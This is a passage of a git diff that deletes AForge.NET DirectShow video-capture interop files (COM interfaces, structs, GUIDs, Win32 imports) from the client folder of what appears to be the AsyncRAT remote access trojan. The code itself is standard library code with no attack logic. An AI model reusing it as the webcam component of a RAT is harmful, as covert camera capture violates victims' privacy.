- /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock.
- /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to
- /// retrieve the current reference time, or to request notification of an elapsed time.
- ///
- [ComImport, System.Security.SuppressUnmanagedCodeSecurity,
- Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface IReferenceClock
- {
- ///
- /// The GetTime method retrieves the current reference time.
- ///
- ///
- /// Pointer to a variable that receives the current time, in 100-nanosecond units.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetTime( [Out] out long pTime );
-
- ///
- /// The AdviseTime method creates a one-shot advise request.
- ///
- ///
- /// Base reference time, in 100-nanosecond units. See Remarks.
- /// Stream offset time, in 100-nanosecond units. See Remarks.
- /// Handle to an event, created by the caller.
- /// Pointer to a variable that receives an identifier for the advise request.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AdviseTime(
- [In] long baseTime,
- [In] long streamTime,
- [In] IntPtr hEvent,
- [Out] out int pdwAdviseCookie );
-
- ///
- /// The AdvisePeriodic method creates a periodic advise request.
- ///
- ///
- /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME.
- /// Time between notifications, in 100-nanosecond units. Must be greater than zero.
- /// Handle to a semaphore, created by the caller.
- /// Pointer to a variable that receives an identifier for the advise request.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int AdvisePeriodic(
- [In] long startTime,
- [In] long periodTime,
- [In] IntPtr hSemaphore,
- [Out] out int pdwAdviseCookie );
-
- ///
- /// The Unadvise method removes a pending advise request.
- ///
- ///
- /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int Unadvise( [In] int dwAdviseCookie );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs
deleted file mode 100644
index 07854ac..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs
+++ /dev/null
@@ -1,103 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve
- /// individual media samples as they move through the filter graph.
- ///
- ///
- [ComImport,
- Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"),
- InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
- internal interface ISampleGrabber
- {
- ///
- /// Specifies whether the filter should stop the graph after receiving one sample.
- ///
- ///
- /// Boolean value specifying whether the filter should stop the graph after receiving one sample.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot );
-
- ///
- /// Specifies the media type for the connection on the Sample Grabber's input pin.
- ///
- ///
- /// Specifies the required media type.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Retrieves the media type for the connection on the Sample Grabber's input pin.
- ///
- ///
- /// structure, which receives media type.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
-
- ///
- /// Specifies whether to copy sample data into a buffer as it goes through the filter.
- ///
- ///
- /// Boolean value specifying whether to buffer sample data.
- /// If true, the filter copies sample data into an internal buffer.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem );
-
- ///
- /// Retrieves a copy of the sample that the filter received most recently.
- ///
- ///
- /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size.
- /// Pointer to a buffer to receive a copy of the sample, or NULL.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetCurrentBuffer( ref int bufferSize, IntPtr buffer );
-
- ///
- /// Not currently implemented.
- ///
- ///
- ///
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetCurrentSample( IntPtr sample );
-
- ///
- /// Specifies a callback method to call on incoming samples.
- ///
- ///
- /// interface containing the callback method, or NULL to cancel the callback.
- /// Index specifying the callback method.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs
deleted file mode 100644
index 4dc7340..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs
+++ /dev/null
@@ -1,47 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2007
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The interface provides callback methods for the method.
- ///
- ///
- [ComImport,
- Guid("0579154A-2B53-4994-B0D0-E773148EFF85"),
- InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
- internal interface ISampleGrabberCB
- {
- ///
- /// Callback method that receives a pointer to the media sample.
- ///
- ///
- /// Starting time of the sample, in seconds.
- /// Pointer to the sample's IMediaSample interface.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int SampleCB( double sampleTime, IntPtr sample );
-
- ///
- /// Callback method that receives a pointer to the sample bufferþ
- ///
- ///
- /// Starting time of the sample, in seconds.
- /// Pointer to a buffer that contains the sample data.
- /// Length of the buffer pointed to by buffer, in bytes
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int BufferCB( double sampleTime, IntPtr buffer, int bufferLen );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs
deleted file mode 100644
index ecb0739..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs
+++ /dev/null
@@ -1,36 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-//
-// Copyright © Andrew Kirillov, 2008
-// andrew.kirillov@gmail.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// The interface indicates that an object supports property pages.
- ///
- ///
- [ComImport,
- Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ),
- InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
- internal interface ISpecifyPropertyPages
- {
- ///
- /// Fills a counted array of GUID values where each GUID specifies the
- /// CLSID of each property page that can be displayed in the property
- /// sheet for this object.
- ///
- ///
- /// Pointer to a CAUUID structure that must be initialized
- /// and filled before returning.
- ///
- /// Return's HRESULT error code.
- ///
- [PreserveSig]
- int GetPages( out CAUUID pPages );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs
deleted file mode 100644
index 530283c..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs
+++ /dev/null
@@ -1,518 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2013
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
- using System.Drawing;
-
- // PIN_DIRECTION
-
- ///
- /// This enumeration indicates a pin's direction.
- ///
- ///
- [ComVisible( false )]
- internal enum PinDirection
- {
- ///
- /// Input pin.
- ///
- Input,
-
- ///
- /// Output pin.
- ///
- Output
- }
-
- // AM_MEDIA_TYPE
-
- ///
- /// The structure describes the format of a media sample.
- ///
- ///
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential )]
- internal class AMMediaType : IDisposable
- {
- ///
- /// Globally unique identifier (GUID) that specifies the major type of the media sample.
- ///
- public Guid MajorType;
-
- ///
- /// GUID that specifies the subtype of the media sample.
- ///
- public Guid SubType;
-
- ///
- /// If true, samples are of a fixed size.
- ///
- [MarshalAs( UnmanagedType.Bool )]
- public bool FixedSizeSamples = true;
-
- ///
- /// If true, samples are compressed using temporal (interframe) compression.
- ///
- [MarshalAs( UnmanagedType.Bool )]
- public bool TemporalCompression;
-
- ///
- /// Size of the sample in bytes. For compressed data, the value can be zero.
- ///
- public int SampleSize = 1;
-
- ///
- /// GUID that specifies the structure used for the format block.
- ///
- public Guid FormatType;
-
- ///
- /// Not used.
- ///
- public IntPtr unkPtr;
-
- ///
- /// Size of the format block, in bytes.
- ///
- public int FormatSize;
-
- ///
- /// Pointer to the format block.
- ///
- public IntPtr FormatPtr;
-
- ///
- /// Destroys the instance of the class.
- ///
- ///
- ~AMMediaType( )
- {
- Dispose( false );
- }
-
- ///
- /// Dispose the object.
- ///
- ///
- public void Dispose( )
- {
- Dispose( true );
- // remove me from the Finalization queue
- GC.SuppressFinalize( this );
- }
-
- ///
- /// Dispose the object
- ///
- ///
- /// Indicates if disposing was initiated manually.
- ///
- protected virtual void Dispose( bool disposing )
- {
- if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) )
- {
- Marshal.FreeCoTaskMem( FormatPtr );
- FormatSize = 0;
- }
-
- if ( unkPtr != IntPtr.Zero )
- {
- Marshal.Release( unkPtr );
- unkPtr = IntPtr.Zero;
- }
- }
- }
-
-
- // PIN_INFO
-
- ///
- /// The structure contains information about a pin.
- ///
- ///
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
- internal struct PinInfo
- {
- ///
- /// Owning filter.
- ///
- public IBaseFilter Filter;
-
- ///
- /// Direction of the pin.
- ///
- public PinDirection Direction;
-
- ///
- /// Name of the pin.
- ///
- [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
- public string Name;
- }
-
- // FILTER_INFO
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )]
- internal struct FilterInfo
- {
- ///
- /// Filter's name.
- ///
- [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )]
- public string Name;
-
- ///
- /// Owning graph.
- ///
- public IFilterGraph FilterGraph;
- }
-
- // VIDEOINFOHEADER
-
- ///
- /// The structure describes the bitmap and color information for a video image.
- ///
- ///
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential )]
- internal struct VideoInfoHeader
- {
- ///
- /// structure that specifies the source video window.
- ///
- public RECT SrcRect;
-
- ///
- /// structure that specifies the destination video window.
- ///
- public RECT TargetRect;
-
- ///
- /// Approximate data rate of the video stream, in bits per second.
- ///
- public int BitRate;
-
- ///
- /// Data error rate, in bit errors per second.
- ///
- public int BitErrorRate;
-
- ///
- /// The desired average display time of the video frames, in 100-nanosecond units.
- ///
- public long AverageTimePerFrame;
-
- ///
- /// structure that contains color and dimension information for the video image bitmap.
- ///
- public BitmapInfoHeader BmiHeader;
- }
-
- // VIDEOINFOHEADER2
-
- ///
- /// The structure describes the bitmap and color information for a video image (v2).
- ///
- ///
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential )]
- internal struct VideoInfoHeader2
- {
- ///
- /// structure that specifies the source video window.
- ///
- public RECT SrcRect;
-
- ///
- /// structure that specifies the destination video window.
- ///
- public RECT TargetRect;
-
- ///
- /// Approximate data rate of the video stream, in bits per second.
- ///
- public int BitRate;
-
- ///
- /// Data error rate, in bit errors per second.
- ///
- public int BitErrorRate;
-
- ///
- /// The desired average display time of the video frames, in 100-nanosecond units.
- ///
- public long AverageTimePerFrame;
-
- ///
- /// Flags that specify how the video is interlaced.
- ///
- public int InterlaceFlags;
-
- ///
- /// Flag set to indicate that the duplication of the stream should be restricted.
- ///
- public int CopyProtectFlags;
-
- ///
- /// The X dimension of picture aspect ratio.
- ///
- public int PictAspectRatioX;
-
- ///
- /// The Y dimension of picture aspect ratio.
- ///
- public int PictAspectRatioY;
-
- ///
- /// Reserved for future use.
- ///
- public int Reserved1;
-
- ///
- /// Reserved for future use.
- ///
- public int Reserved2;
-
- ///
- /// structure that contains color and dimension information for the video image bitmap.
- ///
- public BitmapInfoHeader BmiHeader;
- }
-
- ///
- /// The structure contains information about the dimensions and color format of a device-independent bitmap (DIB).
- ///
- ///
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential, Pack = 2 )]
- internal struct BitmapInfoHeader
- {
- ///
- /// Specifies the number of bytes required by the structure.
- ///
- public int Size;
-
- ///
- /// Specifies the width of the bitmap.
- ///
- public int Width;
-
- ///
- /// Specifies the height of the bitmap, in pixels.
- ///
- public int Height;
-
- ///
- /// Specifies the number of planes for the target device. This value must be set to 1.
- ///
- public short Planes;
-
- ///
- /// Specifies the number of bits per pixel.
- ///
- public short BitCount;
-
- ///
- /// If the bitmap is compressed, this member is a FOURCC the specifies the compression.
- ///
- public int Compression;
-
- ///
- /// Specifies the size, in bytes, of the image.
- ///
- public int ImageSize;
-
- ///
- /// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
- ///
- public int XPelsPerMeter;
-
- ///
- /// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
- ///
- public int YPelsPerMeter;
-
- ///
- /// Specifies the number of color indices in the color table that are actually used by the bitmap.
- ///
- public int ColorsUsed;
-
- ///
- /// Specifies the number of color indices that are considered important for displaying the bitmap.
- ///
- public int ColorsImportant;
- }
-
- // RECT
-
- ///
- /// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.
- ///
- ///
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential )]
- internal struct RECT
- {
- ///
- /// Specifies the x-coordinate of the upper-left corner of the rectangle.
- ///
- public int Left;
-
- ///
- /// Specifies the y-coordinate of the upper-left corner of the rectangle.
- ///
- public int Top;
-
- ///
- /// Specifies the x-coordinate of the lower-right corner of the rectangle.
- ///
- public int Right;
-
- ///
- /// Specifies the y-coordinate of the lower-right corner of the rectangle.
- ///
- public int Bottom;
- }
-
- // CAUUID
-
- ///
- /// The CAUUID structure is a Counted Array of UUID or GUID types.
- ///
- ///
- [ComVisible( false ),
- StructLayout( LayoutKind.Sequential )]
- internal struct CAUUID
- {
- ///
- /// Size of the array pointed to by pElems.
- ///
- public int cElems;
-
- ///
- /// Pointer to an array of UUID values, each of which specifies UUID.
- ///
- public IntPtr pElems;
-
- ///
- /// Performs manual marshaling of pElems to retrieve an array of Guid objects.
- ///
- ///
- /// A managed representation of pElems.
- ///
- public Guid[] ToGuidArray( )
- {
- Guid[] retval = new Guid[cElems];
-
- for ( int i = 0; i < cElems; i++ )
- {
- IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) );
- retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) );
- }
-
- return retval;
- }
- }
-
- ///
- /// Enumeration of DirectShow event codes.
- ///
- internal enum DsEvCode
- {
- None,
- Complete = 0x01, // EC_COMPLETE
- DeviceLost = 0x1F, // EC_DEVICE_LOST
- //(...) not yet interested in other events
- }
-
- [Flags, ComVisible( false )]
- internal enum AnalogVideoStandard
- {
- None = 0x00000000, // This is a digital sensor
- NTSC_M = 0x00000001, // 75 IRE Setup
- NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup
- NTSC_433 = 0x00000004,
- PAL_B = 0x00000010,
- PAL_D = 0x00000020,
- PAL_G = 0x00000040,
- PAL_H = 0x00000080,
- PAL_I = 0x00000100,
- PAL_M = 0x00000200,
- PAL_N = 0x00000400,
- PAL_60 = 0x00000800,
- SECAM_B = 0x00001000,
- SECAM_D = 0x00002000,
- SECAM_G = 0x00004000,
- SECAM_H = 0x00008000,
- SECAM_K = 0x00010000,
- SECAM_K1 = 0x00020000,
- SECAM_L = 0x00040000,
- SECAM_L1 = 0x00080000,
- PAL_N_COMBO = 0x00100000 // Argentina
- }
-
- [Flags, ComVisible( false )]
- internal enum VideoControlFlags
- {
- FlipHorizontal = 0x0001,
- FlipVertical = 0x0002,
- ExternalTriggerEnable = 0x0004,
- Trigger = 0x0008
- }
-
- [StructLayout( LayoutKind.Sequential ), ComVisible( false )]
- internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS
- {
- public Guid Guid;
- public AnalogVideoStandard VideoStandard;
- public Size InputSize;
- public Size MinCroppingSize;
- public Size MaxCroppingSize;
- public int CropGranularityX;
- public int CropGranularityY;
- public int CropAlignX;
- public int CropAlignY;
- public Size MinOutputSize;
- public Size MaxOutputSize;
- public int OutputGranularityX;
- public int OutputGranularityY;
- public int StretchTapsX;
- public int StretchTapsY;
- public int ShrinkTapsX;
- public int ShrinkTapsY;
- public long MinFrameInterval;
- public long MaxFrameInterval;
- public int MinBitsPerSecond;
- public int MaxBitsPerSecond;
- }
-
- ///
- /// Specifies a filter's state or the state of the filter graph.
- ///
- internal enum FilterState
- {
- ///
- /// Stopped. The filter is not processing data.
- ///
- State_Stopped,
-
- ///
- /// Paused. The filter is processing data, but not rendering it.
- ///
- State_Paused,
-
- ///
- /// Running. The filter is processing and rendering data.
- ///
- State_Running
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs
deleted file mode 100644
index 8dc1874..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs
+++ /dev/null
@@ -1,299 +0,0 @@
-// AForge Direct Show Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2009-2013
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
-
- ///
- /// DirectShow class IDs.
- ///
- [ComVisible( false )]
- static internal class Clsid
- {
- ///
- /// System device enumerator.
- ///
- ///
- /// Equals to CLSID_SystemDeviceEnum.
- ///
- public static readonly Guid SystemDeviceEnum =
- new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
-
- ///
- /// Filter graph.
- ///
- ///
- /// Equals to CLSID_FilterGraph.
- ///
- public static readonly Guid FilterGraph =
- new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// Sample grabber.
- ///
- ///
- /// Equals to CLSID_SampleGrabber.
- ///
- public static readonly Guid SampleGrabber =
- new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 );
-
- ///
- /// Capture graph builder.
- ///
- ///
- /// Equals to CLSID_CaptureGraphBuilder2.
- ///
- public static readonly Guid CaptureGraphBuilder2 =
- new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
-
- ///
- /// Async reader.
- ///
- ///
- /// Equals to CLSID_AsyncReader.
- ///
- public static readonly Guid AsyncReader =
- new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
- }
-
- ///
- /// DirectShow format types.
- ///
- ///
- [ComVisible( false )]
- static internal class FormatType
- {
- ///
- /// VideoInfo.
- ///
- ///
- /// Equals to FORMAT_VideoInfo.
- ///
- public static readonly Guid VideoInfo =
- new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A );
-
- ///
- /// VideoInfo2.
- ///
- ///
- /// Equals to FORMAT_VideoInfo2.
- ///
- public static readonly Guid VideoInfo2 =
- new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
- }
-
- ///
- /// DirectShow media types.
- ///
- ///
- [ComVisible( false )]
- static internal class MediaType
- {
- ///
- /// Video.
- ///
- ///
- /// Equals to MEDIATYPE_Video.
- ///
- public static readonly Guid Video =
- new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
-
- ///
- /// Interleaved. Used by Digital Video (DV).
- ///
- ///
- /// Equals to MEDIATYPE_Interleaved.
- ///
- public static readonly Guid Interleaved =
- new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
-
- ///
- /// Audio.
- ///
- ///
- /// Equals to MEDIATYPE_Audio.
- ///
- public static readonly Guid Audio =
- new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
-
- ///
- /// Text.
- ///
- ///
- /// Equals to MEDIATYPE_Text.
- ///
- public static readonly Guid Text =
- new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
-
- ///
- /// Byte stream with no time stamps.
- ///
- ///
- /// Equals to MEDIATYPE_Stream.
- ///
- public static readonly Guid Stream =
- new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
- }
-
- ///
- /// DirectShow media subtypes.
- ///
- ///
- [ComVisible( false )]
- static internal class MediaSubType
- {
- ///
- /// YUY2 (packed 4:2:2).
- ///
- ///
- /// Equals to MEDIASUBTYPE_YUYV.
- ///
- public static readonly Guid YUYV =
- new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
-
- ///
- /// IYUV.
- ///
- ///
- /// Equals to MEDIASUBTYPE_IYUV.
- ///
- public static readonly Guid IYUV =
- new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
-
- ///
- /// A DV encoding format. (FOURCC 'DVSD')
- ///
- ///
- /// Equals to MEDIASUBTYPE_DVSD.
- ///
- public static readonly Guid DVSD =
- new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
-
- ///
- /// RGB, 1 bit per pixel (bpp), palettized.
- ///
- ///
- /// Equals to MEDIASUBTYPE_RGB1.
- ///
- public static readonly Guid RGB1 =
- new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// RGB, 4 bpp, palettized.
- ///
- ///
- /// Equals to MEDIASUBTYPE_RGB4.
- ///
- public static readonly Guid RGB4 =
- new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// RGB, 8 bpp.
- ///
- ///
- /// Equals to MEDIASUBTYPE_RGB8.
- ///
- public static readonly Guid RGB8 =
- new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// RGB 565, 16 bpp.
- ///
- ///
- /// Equals to MEDIASUBTYPE_RGB565.
- ///
- public static readonly Guid RGB565 =
- new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// RGB 555, 16 bpp.
- ///
- ///
- /// Equals to MEDIASUBTYPE_RGB555.
- ///
- public static readonly Guid RGB555 =
- new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// RGB, 24 bpp.
- ///
- ///
- /// Equals to MEDIASUBTYPE_RGB24.
- ///
- public static readonly Guid RGB24 =
- new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// RGB, 32 bpp, no alpha channel.
- ///
- ///
- /// Equals to MEDIASUBTYPE_RGB32.
- ///
- public static readonly Guid RGB32 =
- new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// Data from AVI file.
- ///
- ///
- /// Equals to MEDIASUBTYPE_Avi.
- ///
- public static readonly Guid Avi =
- new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
-
- ///
- /// Advanced Streaming Format (ASF).
- ///
- ///
- /// Equals to MEDIASUBTYPE_Asf.
- ///
- public static readonly Guid Asf =
- new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 );
- }
-
- ///
- /// DirectShow pin categories.
- ///
- ///
- [ComVisible( false )]
- static internal class PinCategory
- {
- ///
- /// Capture pin.
- ///
- ///
- /// Equals to PIN_CATEGORY_CAPTURE.
- ///
- public static readonly Guid Capture =
- new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
-
- ///
- /// Still image pin.
- ///
- ///
- /// Equals to PIN_CATEGORY_STILL.
- ///
- public static readonly Guid StillImage =
- new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
- }
-
- // Below GUIDs are used by ICaptureGraphBuilder::FindInterface().
- [ComVisible( false )]
- static internal class FindDirection
- {
- /// Equals to LOOK_UPSTREAM_ONLY.
- public static readonly Guid UpstreamOnly =
- new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
-
- /// Equals to LOOK_DOWNSTREAM_ONLY.
- public static readonly Guid DownstreamOnly =
- new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
- }
-}
diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs
deleted file mode 100644
index 73d2e90..0000000
--- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs
+++ /dev/null
@@ -1,102 +0,0 @@
-// AForge Video for Windows Library
-// AForge.NET framework
-// http://www.aforgenet.com/framework/
-//
-// Copyright © AForge.NET, 2007-2011
-// contacts@aforgenet.com
-//
-
-namespace AForge.Video.DirectShow.Internals
-{
- using System;
- using System.Runtime.InteropServices;
- using System.Runtime.InteropServices.ComTypes;
-
- ///
- /// Some Win32 API used internally.
- ///
- ///
- internal static class Win32
- {
- ///
- /// Supplies a pointer to an implementation of IBindCtx (a bind context object).
- /// This object stores information about a particular moniker-binding operation.
- ///
- ///
- /// Reserved for future use; must be zero.
- /// Address of IBindCtx* pointer variable that receives the
- /// interface pointer to the new bind context object.
- ///
- /// Returns S_OK on success.
- ///
- [DllImport( "ole32.dll" )]
- public static extern
- int CreateBindCtx( int reserved, out IBindCtx ppbc );
-
- ///
- /// Converts a string into a moniker that identifies the object named by the string.
- ///
- ///
- /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.
- /// Pointer to a zero-terminated wide character string containing the display name to be parsed.
- /// Pointer to the number of characters of szUserName that were consumed.
- /// Address of IMoniker* pointer variable that receives the interface pointer
- /// to the moniker that was built from szUserName.
- ///
- /// Returns S_OK on success.
- ///
- [DllImport( "ole32.dll", CharSet = CharSet.Unicode )]
- public static extern
- int MkParseDisplayName( IBindCtx pbc, string szUserName,
- ref int pchEaten, out IMoniker ppmk );
-
- ///
- /// Copy a block of memory.
- ///
- ///
- /// Destination pointer.
- /// Source pointer.
- /// Memory block's length to copy.
- ///
- /// Return's the value of dst - pointer to destination.
- ///
- [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )]
- public static unsafe extern int memcpy(
- byte* dst,
- byte* src,
- int count );
-
- ///
- /// Invokes a new property frame, that is, a property sheet dialog box.
- ///
- ///
- /// Parent window of property sheet dialog box.
- /// Horizontal position for dialog box.
- /// Vertical position for dialog box.
- /// Dialog box caption.
- /// Number of object pointers in ppUnk.
- /// Pointer to the objects for property sheet.
- /// Number of property pages in lpPageClsID.
- /// Array of CLSIDs for each property page.
- /// Locale identifier for property sheet locale.
- /// Reserved.
- /// Reserved.
- ///
- /// Returns S_OK on success.
- ///
- [DllImport( "oleaut32.dll" )]
- public static extern int OleCreatePropertyFrame(
- IntPtr hwndOwner,
- int x,
- int y,
- [MarshalAs( UnmanagedType.LPWStr )] string caption,
- int cObjects,
